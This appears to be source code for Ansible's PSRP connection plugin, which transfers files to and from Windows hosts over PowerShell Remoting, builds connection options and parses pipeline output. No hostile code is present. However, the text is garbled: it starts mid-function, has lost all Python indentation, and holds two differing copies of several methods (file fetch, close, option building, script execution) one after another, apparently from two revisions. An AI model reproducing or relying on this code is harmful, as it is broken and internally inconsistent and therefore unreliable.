process.send(b64_data, end=(src_file.tell() == in_size))
# the file was empty, return empty buffer
if offset == 0:
process.send(b"", end=True)
process.end_invoke()
process.signal(SignalCode.CTRL_C)
if process.rc != 0:
raise AnsibleError(to_native(process.stderr))
put_output = json.loads(process.stdout)
remote_sha1 = put_output.get("sha1")
if not remote_sha1:
raise AnsibleError("Remote sha1 was not returned, stdout: '%s', "
"stderr: '%s'" % (to_native(process.stdout),
to_native(process.stderr)))
local_sha1 = secure_hash(in_path)
if not remote_sha1 == local_sha1:
raise AnsibleError("Remote sha1 hash %s does not match local hash "
"%s" % (to_native(remote_sha1),
to_native(local_sha1)))
def fetch_file(self, in_path, out_path):
super(Connection, self).fetch_file(in_path, out_path)
display.vvv("FETCH %s TO %s" % (in_path, out_path),
host=self._psrp_host)
in_path = self._shell._unquote(in_path)
out_path = out_path.replace('\\', '/')
# because we are dealing with base64 data we need to get the max size
# of the bytes that the base64 size would equal
max_b64_size = int(self.runspace.connection.max_payload_size -
(self.runspace.connection.max_payload_size / 4 * 3))
buffer_size = max_b64_size - (max_b64_size % 1024)
# setup the file stream with read only mode
setup_script = '''$ErrorActionPreference = "Stop"
$path = '%s'
if (Test-Path -Path $path -PathType Leaf) {
$fs = New-Object -TypeName System.IO.FileStream -ArgumentList @(
$path,
[System.IO.FileMode]::Open,
[System.IO.FileAccess]::Read,
[System.IO.FileShare]::Read
)
$buffer_size = %d
} elseif (Test-Path -Path $path -PathType Container) {
Write-Output -InputObject "[DIR]"
} else {
Write-Error -Message "$path does not exist"
$host.SetShouldExit(1)
}''' % (self._shell._escape(in_path), buffer_size)
# read the file stream at the offset and return the b64 string
read_script = '''$ErrorActionPreference = "Stop"
$fs.Seek(%d, [System.IO.SeekOrigin]::Begin) > $null
$buffer = New-Object -TypeName byte[] -ArgumentList $buffer_size
$bytes_read = $fs.Read($buffer, 0, $buffer_size)
if ($bytes_read -gt 0) {
$bytes = $buffer[0..($bytes_read - 1)]
Write-Output -InputObject ([System.Convert]::ToBase64String($bytes))
}'''
# need to run the setup script outside of the local scope so the
# file stream stays active between fetch operations
rc, stdout, stderr = self._exec_psrp_script(setup_script,
use_local_scope=False,
force_stop=True)
if rc != 0:
raise AnsibleError("failed to setup file stream for fetch '%s': %s"
% (out_path, to_native(stderr)))
elif stdout.strip() == '[DIR]':
# to be consistent with other connection plugins, we assume the caller has created the target dir
return
b_out_path = to_bytes(out_path, errors='surrogate_or_strict')
# to be consistent with other connection plugins, we assume the caller has created the target dir
offset = 0
with open(b_out_path, 'wb') as out_file:
while True:
display.vvvvv("PSRP FETCH %s to %s (offset=%d" %
(in_path, out_path, offset), host=self._psrp_host)
rc, stdout, stderr = self._exec_psrp_script(read_script % offset, force_stop=True)
if rc != 0:
raise AnsibleError("failed to transfer file to '%s': %s"
% (out_path, to_native(stderr)))
data = base64.b64decode(stdout.strip())
out_file.write(data)
if len(data) < buffer_size:
break
offset += len(data)
rc, stdout, stderr = self._exec_psrp_script("$fs.Close()", force_stop=True)
if rc != 0:
display.warning("failed to close remote file stream of file "
"'%s': %s" % (in_path, to_native(stderr)))
def close(self):
if self.runspace and self.runspace.state == RunspacePoolState.OPENED:
display.vvvvv("PSRP CLOSE RUNSPACE: %s" % (self.runspace.id),
host=self._psrp_host)
self.runspace.close()
self.runspace = None
self._connected = False
def _build_kwargs(self):
self._become_method = self._play_context.become_method
self._become_user = self._play_context.become_user
self._become_pass = self._play_context.become_pass
self._psrp_host = self.get_option('remote_addr')
self._psrp_user = self.get_option('remote_user')
self._psrp_pass = self._play_context.password
protocol = self.get_option('protocol')
port = self.get_option('port')
if protocol is None and port is None:
protocol = 'https'
port = 5986
elif protocol is None:
protocol = 'https' if int(port) != 5985 else 'http'
elif port is None:
port = 5986 if protocol == 'https' else 5985
self._psrp_protocol = protocol
self._psrp_port = int(port)
self._psrp_path = self.get_option('path')
self._psrp_auth = self.get_option('auth')
# cert validation can either be a bool or a path to the cert
cert_validation = self.get_option('cert_validation')
cert_trust_path = self.get_option('ca_cert')
if cert_validation == 'ignore':
self._psrp_cert_validation = False
elif cert_trust_path is not None:
self._psrp_cert_validation = cert_trust_path
else:
self._psrp_cert_validation = True
self._psrp_connection_timeout = self.get_option('connection_timeout') # Can be None
self._psrp_read_timeout = self.get_option('read_timeout') # Can be None
self._psrp_message_encryption = self.get_option('message_encryption')
self._psrp_proxy = self.get_option('proxy')
self._psrp_ignore_proxy = boolean(self.get_option('ignore_proxy'))
self._psrp_operation_timeout = int(self.get_option('operation_timeout'))
self._psrp_max_envelope_size = int(self.get_option('max_envelope_size'))
self._psrp_configuration_name = self.get_option('configuration_name')
self._psrp_reconnection_retries = int(self.get_option('reconnection_retries'))
self._psrp_reconnection_backoff = float(self.get_option('reconnection_backoff'))
self._psrp_certificate_key_pem = self.get_option('certificate_key_pem')
self._psrp_certificate_pem = self.get_option('certificate_pem')
self._psrp_credssp_auth_mechanism = self.get_option('credssp_auth_mechanism')
self._psrp_credssp_disable_tlsv1_2 = self.get_option('credssp_disable_tlsv1_2')
self._psrp_credssp_minimum_version = self.get_option('credssp_minimum_version')
self._psrp_negotiate_send_cbt = self.get_option('negotiate_send_cbt')
self._psrp_negotiate_delegate = self.get_option('negotiate_delegate')
self._psrp_negotiate_hostname_override = self.get_option('negotiate_hostname_override')
self._psrp_negotiate_service = self.get_option('negotiate_service')
supported_args = []
for auth_kwarg in AUTH_KWARGS.values():
supported_args.extend(auth_kwarg)
extra_args = set([v.replace('ansible_psrp_', '') for v in
self.get_option('_extras')])
unsupported_args = extra_args.difference(supported_args)
for arg in unsupported_args:
display.warning("ansible_psrp_%s is unsupported by the current "
"psrp version installed" % arg)
self._psrp_conn_kwargs = dict(
server=self._psrp_host, port=self._psrp_port,
username=self._psrp_user, password=self._psrp_pass,
ssl=self._psrp_protocol == 'https', path=self._psrp_path,
auth=self._psrp_auth, cert_validation=self._psrp_cert_validation,
connection_timeout=self._psrp_connection_timeout,
encryption=self._psrp_message_encryption, proxy=self._psrp_proxy,
no_proxy=self._psrp_ignore_proxy,
max_envelope_size=self._psrp_max_envelope_size,
operation_timeout=self._psrp_operation_timeout,
certificate_key_pem=self._psrp_certificate_key_pem,
certificate_pem=self._psrp_certificate_pem,
credssp_auth_mechanism=self._psrp_credssp_auth_mechanism,
credssp_disable_tlsv1_2=self._psrp_credssp_disable_tlsv1_2,
credssp_minimum_version=self._psrp_credssp_minimum_version,
negotiate_send_cbt=self._psrp_negotiate_send_cbt,
negotiate_delegate=self._psrp_negotiate_delegate,
negotiate_hostname_override=self._psrp_negotiate_hostname_override,
negotiate_service=self._psrp_negotiate_service,
)
# Check if PSRP version supports newer read_timeout argument (needs pypsrp 0.3.0+)
if hasattr(pypsrp, 'FEATURES') and 'wsman_read_timeout' in pypsrp.FEATURES:
self._psrp_conn_kwargs['read_timeout'] = self._psrp_read_timeout
elif self._psrp_read_timeout is not None:
display.warning("ansible_psrp_read_timeout is unsupported by the current psrp version installed, "
"using ansible_psrp_connection_timeout value for read_timeout instead.")
# Check if PSRP version supports newer reconnection_retries argument (needs pypsrp 0.3.0+)
if hasattr(pypsrp, 'FEATURES') and 'wsman_reconnections' in pypsrp.FEATURES:
self._psrp_conn_kwargs['reconnection_retries'] = self._psrp_reconnection_retries
self._psrp_conn_kwargs['reconnection_backoff'] = self._psrp_reconnection_backoff
else:
if self._psrp_reconnection_retries is not None:
display.warning("ansible_psrp_reconnection_retries is unsupported by the current psrp version installed.")
if self._psrp_reconnection_backoff is not None:
display.warning("ansible_psrp_reconnection_backoff is unsupported by the current psrp version installed.")
# add in the extra args that were set
for arg in extra_args.intersection(supported_args):
option = self.get_option('_extras')['ansible_psrp_%s' % arg]
self._psrp_conn_kwargs[arg] = option
def _exec_psrp_script(self, script, input_data=None, use_local_scope=True, force_stop=False):
ps = PowerShell(self.runspace)
ps.add_script(script, use_local_scope=use_local_scope)
ps.invoke(input=input_data)
rc, stdout, stderr = self._parse_pipeline_result(ps)
if force_stop:
# This is usually not needed because we close the Runspace after our exec and we skip the call to close the
# pipeline manually to save on some time. Set to True when running multiple exec calls in the same runspace.
# Current pypsrp versions raise an exception if the current state was not RUNNING. We manually set it so we
# can call stop without any issues.
ps.state = PSInvocationState.RUNNING
ps.stop()
return rc, stdout, stderr
def _parse_pipeline_result(self, pipeline):
"""
PSRP doesn't have the same concept as other protocols with its output.
We need some extra logic to convert the pipeline streams and host
output into the format that Ansible understands.
:param pipeline: The finished PowerShell pipeline that invoked our
commands
:return: rc, stdout, stderr based on the pipeline output
"""
# we try and get the rc from our host implementation, this is set if
# exit or $host.SetShouldExit() is called in our pipeline, if not we
# set to 0 if the pipeline had not errors and 1 if it did
rc = self.host.rc or (1 if pipeline.had_errors else 0)
# TODO: figure out a better way of merging this with the host output
stdout_list = []
for output in pipeline.output:
# Not all pipeline outputs are a string or contain a __str__ value,
# we will create our own output based on the properties of the
# complex object if that is the case.
if isinstance(output, GenericComplexObject) and output.to_string is None:
obj_lines = output.property_sets
for key, value in output.adapted_properties.items():
obj_lines.append(u"%s: %s" % (key, value))
for key, value in output.extended_properties.items():
obj_lines.append(u"%s: %s" % (key, value))
output_msg = u"\n".join(obj_lines)
else:
output_msg = to_text(output, nonstring='simplerepr')
stdout_list.append(output_msg)
if len(self.host.ui.stdout) > 0:
stdout_list += self.host.ui.stdout
stdout = u"\r\n".join(stdout_list)
stderr_list = []
for error in pipeline.streams.error:
# the error record is not as fully fleshed out like we usually get
# in PS, we will manually create it here
command_name = "%s : " % error.command_name if error.command_name else ''
position = "%s\r\n" % error.invocation_position_message if error.invocation_position_message else ''
error_msg = "%s%s\r\n%s" \
" + CategoryInfo : %s\r\n" \
" + FullyQualifiedErrorId : %s" \
% (command_name, str(error), position,
error.message, error.fq_error)
stacktrace = error.script_stacktrace
if self._play_context.verbosity >= 3 and stacktrace is not None:
error_msg += "\r\nStackTrace:\r\n%s" % stacktrace
stderr_list.append(error_msg)
if len(self.host.ui.stderr) > 0:
stderr_list += self.host.ui.stderr
stderr = u"\r\n".join([to_text(o) for o in stderr_list])
display.vvvvv("PSRP RC: %d" % rc, host=self._psrp_host)
display.vvvvv("PSRP STDOUT: %s" % stdout, host=self._psrp_host)
display.vvvvv("PSRP STDERR: %s" % stderr, host=self._psrp_host)
# reset the host back output back to defaults, needed if running
# multiple pipelines on the same RunspacePool
self.host.rc = 0
self.host.ui.stdout = []
self.host.ui.stderr = []
return rc, to_bytes(stdout, encoding='utf-8'), to_bytes(stderr, encoding='utf-8')
class Connection(ConnectionBase):
transport = 'psrp'
module_implementation_preferences = ('.ps1', '.exe', '')
allow_executable = False
has_pipelining = True
allow_extras = True
def __init__(self, *args, **kwargs):
self.always_pipeline_modules = True
self.has_native_async = True
self.runspace = None
self.host = None
self._last_pipeline = False
self._shell_type = 'powershell'
super(Connection, self).__init__(*args, **kwargs)
if not C.DEFAULT_DEBUG:
logging.getLogger('pypsrp').setLevel(logging.WARNING)
logging.getLogger('requests_credssp').setLevel(logging.INFO)
logging.getLogger('urllib3').setLevel(logging.INFO)
def _connect(self):
if not HAS_PYPSRP:
raise AnsibleError("pypsrp or dependencies are not installed: %s" %
to_native(PYPSRP_IMP_ERR))
super(Connection, self)._connect()
self._build_kwargs()
display.vvv("ESTABLISH PSRP CONNECTION FOR USER: %s ON PORT %s TO %s" %
(self._psrp_user, self._psrp_port, self._psrp_host),
host=self._psrp_host)
if not self.runspace:
connection = WSMan(**self._psrp_conn_kwargs)
# create our pseudo host to capture the exit code and host output
host_ui = PSHostUserInterface()
self.host = PSHost(None, None, False, "Ansible PSRP Host", None,
host_ui, None)
self.runspace = RunspacePool(
connection,
host=self.host,
configuration_name=self._psrp_configuration_name)
display.vvvvv(
"PSRP OPEN RUNSPACE: auth=%s configuration=%s endpoint=%s" %
(self._psrp_auth, self._psrp_configuration_name,
connection.transport.endpoint),
host=self._psrp_host)
try:
self.runspace.open()
except AuthenticationError as e:
raise AnsibleConnectionFailure("failed to authenticate with "
"the server: %s" % to_native(e))
except WinRMError as e:
raise AnsibleConnectionFailure(
"psrp connection failure during runspace open: %s" %
to_native(e))
except (ConnectionError, ConnectTimeout) as e:
raise AnsibleConnectionFailure(
"Failed to connect to the host via PSRP: %s" %
to_native(e))
self._connected = True
self._last_pipeline = None
return self
def reset(self):
if not self._connected:
self.runspace = None
return
# Try out best to ensure the runspace is closed to free up server side resources
try:
self.close()
except Exception as e:
# There's a good chance the connection was already closed so just log the error and move on
display.debug("PSRP reset - failed to closed runspace: %s" %
to_text(e))
display.vvvvv("PSRP: Reset Connection", host=self._psrp_host)
self.runspace = None
self._connect()
def exec_command(self, cmd, in_data=None, sudoable=True):
super(Connection, self).exec_command(cmd,
in_data=in_data,
sudoable=sudoable)
if cmd.startswith(" ".join(_common_args) + " -EncodedCommand"):
# This is a PowerShell script encoded by the shell plugin, we will
# decode the script and execute it in the runspace instead of
# starting a new interpreter to save on time
b_command = base64.b64decode(cmd.split(" ")[-1])
script = to_text(b_command, 'utf-16-le')
in_data = to_text(in_data,
errors="surrogate_or_strict",
nonstring="passthru")
if in_data and in_data.startswith(u"#!"):
# ANSIBALLZ wrapper, we need to get the interpreter and execute
# that as the script - note this won't work as basic.py relies
# on packages not available on Windows, once fixed we can enable
# this path
interpreter = to_native(in_data.splitlines()[0][2:])
# script = "$input | &'%s' -" % interpreter
# in_data = to_text(in_data)
raise AnsibleError(
"cannot run the interpreter '%s' on the psrp "
"connection plugin" % interpreter)
# call build_module_command to get the bootstrap wrapper text
bootstrap_wrapper = self._shell.build_module_command('', '', '')
if bootstrap_wrapper == cmd:
# Do not display to the user each invocation of the bootstrap wrapper
display.vvv("PSRP: EXEC (via pipeline wrapper)")
else:
display.vvv("PSRP: EXEC %s" % script, host=self._psrp_host)
else:
# In other cases we want to execute the cmd as the script. We add on the 'exit $LASTEXITCODE' to ensure the
# rc is propagated back to the connection plugin.
script = to_text(u"%s\nexit $LASTEXITCODE" % cmd)
display.vvv(u"PSRP: EXEC %s" % script, host=self._psrp_host)
rc, stdout, stderr = self._exec_psrp_script(script, in_data)
return rc, stdout, stderr
def put_file(self, in_path, out_path):
super(Connection, self).put_file(in_path, out_path)
out_path = self._shell._unquote(out_path)
display.vvv("PUT %s TO %s" % (in_path, out_path), host=self._psrp_host)
copy_script = '''begin {
$ErrorActionPreference = "Stop"
$WarningPreference = "Continue"
$path = $MyInvocation.UnboundArguments[0]
$fd = [System.IO.File]::Create($path)
$algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$bytes = @()
$bindingFlags = [System.Reflection.BindingFlags]'NonPublic, Instance'
Function Get-Property {
<#
.SYNOPSIS
Gets the private/internal property specified of the object passed in.
#>
Param (
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[System.Object]
$Object,
[Parameter(Mandatory=$true, Position=1)]
[System.String]
$Name
)
$Object.GetType().GetProperty($Name, $bindingFlags).GetValue($Object, $null)
}
Function Set-Property {
<#
.SYNOPSIS
Sets the private/internal property specified on the object passed in.
#>
Param (
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[System.Object]
$Object,
[Parameter(Mandatory=$true, Position=1)]
[System.String]
$Name,
[Parameter(Mandatory=$true, Position=2)]
[AllowNull()]
[System.Object]
$Value
)
$Object.GetType().GetProperty($Name, $bindingFlags).SetValue($Object, $Value, $null)
}
Function Get-Field {
<#
.SYNOPSIS
Gets the private/internal field specified of the object passed in.
#>
Param (
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[System.Object]
$Object,
[Parameter(Mandatory=$true, Position=1)]
[System.String]
$Name
)
$Object.GetType().GetField($Name, $bindingFlags).GetValue($Object)
}
# MaximumAllowedMemory is required to be set to so we can send input data that exceeds the limit on a PS
# Runspace. We use reflection to access/set this property as it is not accessible publicly. This is not ideal
# but works on all PowerShell versions I've tested with. We originally used WinRS to send the raw bytes to the
# host but this falls flat if someone is using a custom PS configuration name so this is a workaround. This
# isn't required for smaller files so if it fails we ignore the error and hope it wasn't needed.
# https://github.com/PowerShell/PowerShell/blob/c8e72d1e664b1ee04a14f226adf655cced24e5f0/src/System.Management.Automation/engine/serialization.cs#L325
try {
$Host | Get-Property 'ExternalHost' | `
Get-Field '_transportManager' | `
Get-Property 'Fragmentor' | `
Get-Property 'DeserializationContext' | `
Set-Property 'MaximumAllowedMemory' $null
} catch {}
}
process {
$bytes = [System.Convert]::FromBase64String($input)
$algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null
$fd.Write($bytes, 0, $bytes.Length)
}
end {
$fd.Close()
$algo.TransformFinalBlock($bytes, 0, 0) > $null
$hash = [System.BitConverter]::ToString($algo.Hash).Replace('-', '').ToLowerInvariant()
Write-Output -InputObject "{`"sha1`":`"$hash`"}"
}
'''
# Get the buffer size of each fragment to send, subtract 82 for the fragment, message, and other header info
# fields that PSRP adds. Adjust to size of the base64 encoded bytes length.
buffer_size = int(
(self.runspace.connection.max_payload_size - 82) / 4 * 3)
sha1_hash = sha1()
b_in_path = to_bytes(in_path, errors='surrogate_or_strict')
if not os.path.exists(b_in_path):
raise AnsibleFileNotFound('file or module does not exist: "%s"' %
to_native(in_path))
def read_gen():
offset = 0
with open(b_in_path, 'rb') as src_fd:
for b_data in iter((lambda: src_fd.read(buffer_size)), b""):
data_len = len(b_data)
offset += data_len
sha1_hash.update(b_data)
# PSRP technically supports sending raw bytes but that method requires a larger CLIXML message.
# Sending base64 is still more efficient here.
display.vvvvv("PSRP PUT %s to %s (offset=%d, size=%d" %
(in_path, out_path, offset, data_len),
host=self._psrp_host)
b64_data = base64.b64encode(b_data)
yield [to_text(b64_data)]
if offset == 0: # empty file
yield [""]
rc, stdout, stderr = self._exec_psrp_script(copy_script,
read_gen(),
arguments=[out_path])
if rc != 0:
raise AnsibleError(to_native(stderr))
put_output = json.loads(to_text(stdout))
local_sha1 = sha1_hash.hexdigest()
remote_sha1 = put_output.get("sha1")
if not remote_sha1:
raise AnsibleError(
"Remote sha1 was not returned, stdout: '%s', stderr: '%s'" %
(to_native(stdout), to_native(stderr)))
if not remote_sha1 == local_sha1:
raise AnsibleError(
"Remote sha1 hash %s does not match local hash %s" %
(to_native(remote_sha1), to_native(local_sha1)))
def fetch_file(self, in_path, out_path):
super(Connection, self).fetch_file(in_path, out_path)
display.vvv("FETCH %s TO %s" % (in_path, out_path),
host=self._psrp_host)
in_path = self._shell._unquote(in_path)
out_path = out_path.replace('\\', '/')
# because we are dealing with base64 data we need to get the max size
# of the bytes that the base64 size would equal
max_b64_size = int(self.runspace.connection.max_payload_size -
(self.runspace.connection.max_payload_size / 4 * 3))
buffer_size = max_b64_size - (max_b64_size % 1024)
# setup the file stream with read only mode
setup_script = '''$ErrorActionPreference = "Stop"
$path = '%s'
if (Test-Path -Path $path -PathType Leaf) {
$fs = New-Object -TypeName System.IO.FileStream -ArgumentList @(
$path,
[System.IO.FileMode]::Open,
[System.IO.FileAccess]::Read,
[System.IO.FileShare]::Read
)
$buffer_size = %d
} elseif (Test-Path -Path $path -PathType Container) {
Write-Output -InputObject "[DIR]"
} else {
Write-Error -Message "$path does not exist"
$host.SetShouldExit(1)
}''' % (self._shell._escape(in_path), buffer_size)
# read the file stream at the offset and return the b64 string
read_script = '''$ErrorActionPreference = "Stop"
$fs.Seek(%d, [System.IO.SeekOrigin]::Begin) > $null
$buffer = New-Object -TypeName byte[] -ArgumentList $buffer_size
$bytes_read = $fs.Read($buffer, 0, $buffer_size)
if ($bytes_read -gt 0) {
$bytes = $buffer[0..($bytes_read - 1)]
Write-Output -InputObject ([System.Convert]::ToBase64String($bytes))
}'''
# need to run the setup script outside of the local scope so the
# file stream stays active between fetch operations
rc, stdout, stderr = self._exec_psrp_script(setup_script,
use_local_scope=False)
if rc != 0:
raise AnsibleError(
"failed to setup file stream for fetch '%s': %s" %
(out_path, to_native(stderr)))
elif stdout.strip() == '[DIR]':
# to be consistent with other connection plugins, we assume the caller has created the target dir
return
b_out_path = to_bytes(out_path, errors='surrogate_or_strict')
# to be consistent with other connection plugins, we assume the caller has created the target dir
offset = 0
with open(b_out_path, 'wb') as out_file:
while True:
display.vvvvv("PSRP FETCH %s to %s (offset=%d" %
(in_path, out_path, offset),
host=self._psrp_host)
rc, stdout, stderr = self._exec_psrp_script(read_script %
offset)
if rc != 0:
raise AnsibleError("failed to transfer file to '%s': %s" %
(out_path, to_native(stderr)))
data = base64.b64decode(stdout.strip())
out_file.write(data)
if len(data) < buffer_size:
break
offset += len(data)
rc, stdout, stderr = self._exec_psrp_script("$fs.Close()")
if rc != 0:
display.warning("failed to close remote file stream of file "
"'%s': %s" % (in_path, to_native(stderr)))
def close(self):
if self.runspace and self.runspace.state == RunspacePoolState.OPENED:
display.vvvvv("PSRP CLOSE RUNSPACE: %s" % (self.runspace.id),
host=self._psrp_host)
self.runspace.close()
self.runspace = None
self._connected = False
self._last_pipeline = None
def _build_kwargs(self):
self._psrp_host = self.get_option('remote_addr')
self._psrp_user = self.get_option('remote_user')
self._psrp_pass = self.get_option('remote_password')
protocol = self.get_option('protocol')
port = self.get_option('port')
if protocol is None and port is None:
protocol = 'https'
port = 5986
elif protocol is None:
protocol = 'https' if int(port) != 5985 else 'http'
elif port is None:
port = 5986 if protocol == 'https' else 5985
self._psrp_protocol = protocol
self._psrp_port = int(port)
self._psrp_path = self.get_option('path')
self._psrp_auth = self.get_option('auth')
# cert validation can either be a bool or a path to the cert
cert_validation = self.get_option('cert_validation')
cert_trust_path = self.get_option('ca_cert')
if cert_validation == 'ignore':
self._psrp_cert_validation = False
elif cert_trust_path is not None:
self._psrp_cert_validation = cert_trust_path
else:
self._psrp_cert_validation = True
self._psrp_connection_timeout = self.get_option(
'connection_timeout') # Can be None
self._psrp_read_timeout = self.get_option(
'read_timeout') # Can be None
self._psrp_message_encryption = self.get_option('message_encryption')
self._psrp_proxy = self.get_option('proxy')
self._psrp_ignore_proxy = boolean(self.get_option('ignore_proxy'))
self._psrp_operation_timeout = int(
self.get_option('operation_timeout'))
self._psrp_max_envelope_size = int(
self.get_option('max_envelope_size'))
self._psrp_configuration_name = self.get_option('configuration_name')
self._psrp_reconnection_retries = int(
self.get_option('reconnection_retries'))
self._psrp_reconnection_backoff = float(
self.get_option('reconnection_backoff'))
self._psrp_certificate_key_pem = self.get_option('certificate_key_pem')
self._psrp_certificate_pem = self.get_option('certificate_pem')
self._psrp_credssp_auth_mechanism = self.get_option(
'credssp_auth_mechanism')
self._psrp_credssp_disable_tlsv1_2 = self.get_option(
'credssp_disable_tlsv1_2')
self._psrp_credssp_minimum_version = self.get_option(
'credssp_minimum_version')
self._psrp_negotiate_send_cbt = self.get_option('negotiate_send_cbt')
self._psrp_negotiate_delegate = self.get_option('negotiate_delegate')
self._psrp_negotiate_hostname_override = self.get_option(
'negotiate_hostname_override')
self._psrp_negotiate_service = self.get_option('negotiate_service')
supported_args = []
for auth_kwarg in AUTH_KWARGS.values():
supported_args.extend(auth_kwarg)
extra_args = {
v.replace('ansible_psrp_', '')
for v in self.get_option('_extras')
}
unsupported_args = extra_args.difference(supported_args)
for arg in unsupported_args:
display.warning("ansible_psrp_%s is unsupported by the current "
"psrp version installed" % arg)
self._psrp_conn_kwargs = dict(
server=self._psrp_host,
port=self._psrp_port,
username=self._psrp_user,
password=self._psrp_pass,
ssl=self._psrp_protocol == 'https',
path=self._psrp_path,
auth=self._psrp_auth,
cert_validation=self._psrp_cert_validation,
connection_timeout=self._psrp_connection_timeout,
encryption=self._psrp_message_encryption,
proxy=self._psrp_proxy,
no_proxy=self._psrp_ignore_proxy,
max_envelope_size=self._psrp_max_envelope_size,
operation_timeout=self._psrp_operation_timeout,
certificate_key_pem=self._psrp_certificate_key_pem,
certificate_pem=self._psrp_certificate_pem,
credssp_auth_mechanism=self._psrp_credssp_auth_mechanism,
credssp_disable_tlsv1_2=self._psrp_credssp_disable_tlsv1_2,
credssp_minimum_version=self._psrp_credssp_minimum_version,
negotiate_send_cbt=self._psrp_negotiate_send_cbt,
negotiate_delegate=self._psrp_negotiate_delegate,
negotiate_hostname_override=self._psrp_negotiate_hostname_override,
negotiate_service=self._psrp_negotiate_service,
)
# Check if PSRP version supports newer read_timeout argument (needs pypsrp 0.3.0+)
if hasattr(pypsrp,
'FEATURES') and 'wsman_read_timeout' in pypsrp.FEATURES:
self._psrp_conn_kwargs['read_timeout'] = self._psrp_read_timeout
elif self._psrp_read_timeout is not None:
display.warning(
"ansible_psrp_read_timeout is unsupported by the current psrp version installed, "
"using ansible_psrp_connection_timeout value for read_timeout instead."
)
# Check if PSRP version supports newer reconnection_retries argument (needs pypsrp 0.3.0+)
if hasattr(pypsrp,
'FEATURES') and 'wsman_reconnections' in pypsrp.FEATURES:
self._psrp_conn_kwargs[
'reconnection_retries'] = self._psrp_reconnection_retries
self._psrp_conn_kwargs[
'reconnection_backoff'] = self._psrp_reconnection_backoff
else:
if self._psrp_reconnection_retries is not None:
display.warning(
"ansible_psrp_reconnection_retries is unsupported by the current psrp version installed."
)
if self._psrp_reconnection_backoff is not None:
display.warning(
"ansible_psrp_reconnection_backoff is unsupported by the current psrp version installed."
)
# add in the extra args that were set
for arg in extra_args.intersection(supported_args):
option = self.get_option('_extras')['ansible_psrp_%s' % arg]
self._psrp_conn_kwargs[arg] = option
def _exec_psrp_script(self,
script,
input_data=None,
use_local_scope=True,
arguments=None):
# Check if there's a command on the current pipeline that still needs to be closed.
if self._last_pipeline:
# Current pypsrp versions raise an exception if the current state was not RUNNING. We manually set it so we
# can call stop without any issues.
self._last_pipeline.state = PSInvocationState.RUNNING
self._last_pipeline.stop()
self._last_pipeline = None
ps = PowerShell(self.runspace)
ps.add_script(script, use_local_scope=use_local_scope)
if arguments:
for arg in arguments:
ps.add_argument(arg)
ps.invoke(input=input_data)
rc, stdout, stderr = self._parse_pipeline_result(ps)
# We should really call .stop() on all pipelines that are run to decrement the concurrent command counter on
# PSSession but that involves another round trip and is done when the runspace is closed. We instead store the
# last pipeline which is closed if another command is run on the runspace.
self._last_pipeline = ps
return rc, stdout, stderr
def _parse_pipeline_result(self, pipeline):
"""
PSRP doesn't have the same concept as other protocols with its output.
We need some extra logic to convert the pipeline streams and host
output into the format that Ansible understands.
:param pipeline: The finished PowerShell pipeline that invoked our
commands
:return: rc, stdout, stderr based on the pipeline output
"""
# we try and get the rc from our host implementation, this is set if
# exit or $host.SetShouldExit() is called in our pipeline, if not we
# set to 0 if the pipeline had not errors and 1 if it did
rc = self.host.rc or (1 if pipeline.had_errors else 0)
# TODO: figure out a better way of merging this with the host output
stdout_list = []
for output in pipeline.output:
# Not all pipeline outputs are a string or contain a __str__ value,
# we will create our own output based on the properties of the
# complex object if that is the case.
if isinstance(output,
GenericComplexObject) and output.to_string is None:
obj_lines = output.property_sets
for key, value in output.adapted_properties.items():
obj_lines.append(u"%s: %s" % (key, value))
for key, value in output.extended_properties.items():
obj_lines.append(u"%s: %s" % (key, value))
output_msg = u"\n".join(obj_lines)
else:
output_msg = to_text(output, nonstring='simplerepr')
stdout_list.append(output_msg)
if len(self.host.ui.stdout) > 0:
stdout_list += self.host.ui.stdout
stdout = u"\r\n".join(stdout_list)
stderr_list = []
for error in pipeline.streams.error:
# the error record is not as fully fleshed out like we usually get
# in PS, we will manually create it here
command_name = "%s : " % error.command_name if error.command_name else ''
position = "%s\r\n" % error.invocation_position_message if error.invocation_position_message else ''
error_msg = "%s%s\r\n%s" \
" + CategoryInfo : %s\r\n" \
" + FullyQualifiedErrorId : %s" \
% (command_name, str(error), position,
error.message, error.fq_error)
stacktrace = error.script_stacktrace
if self._play_context.verbosity >= 3 and stacktrace is not None:
error_msg += "\r\nStackTrace:\r\n%s" % stacktrace
stderr_list.append(error_msg)
if len(self.host.ui.stderr) > 0:
stderr_list += self.host.ui.stderr
stderr = u"\r\n".join([to_text(o) for o in stderr_list])
display.vvvvv("PSRP RC: %d" % rc, host=self._psrp_host)
display.vvvvv("PSRP STDOUT: %s" % stdout, host=self._psrp_host)
display.vvvvv("PSRP STDERR: %s" % stderr, host=self._psrp_host)
# reset the host back output back to defaults, needed if running
# multiple pipelines on the same RunspacePool
self.host.rc = 0
self.host.ui.stdout = []
self.host.ui.stderr = []
return rc, to_bytes(stdout,
encoding='utf-8'), to_bytes(stderr,
encoding='utf-8')
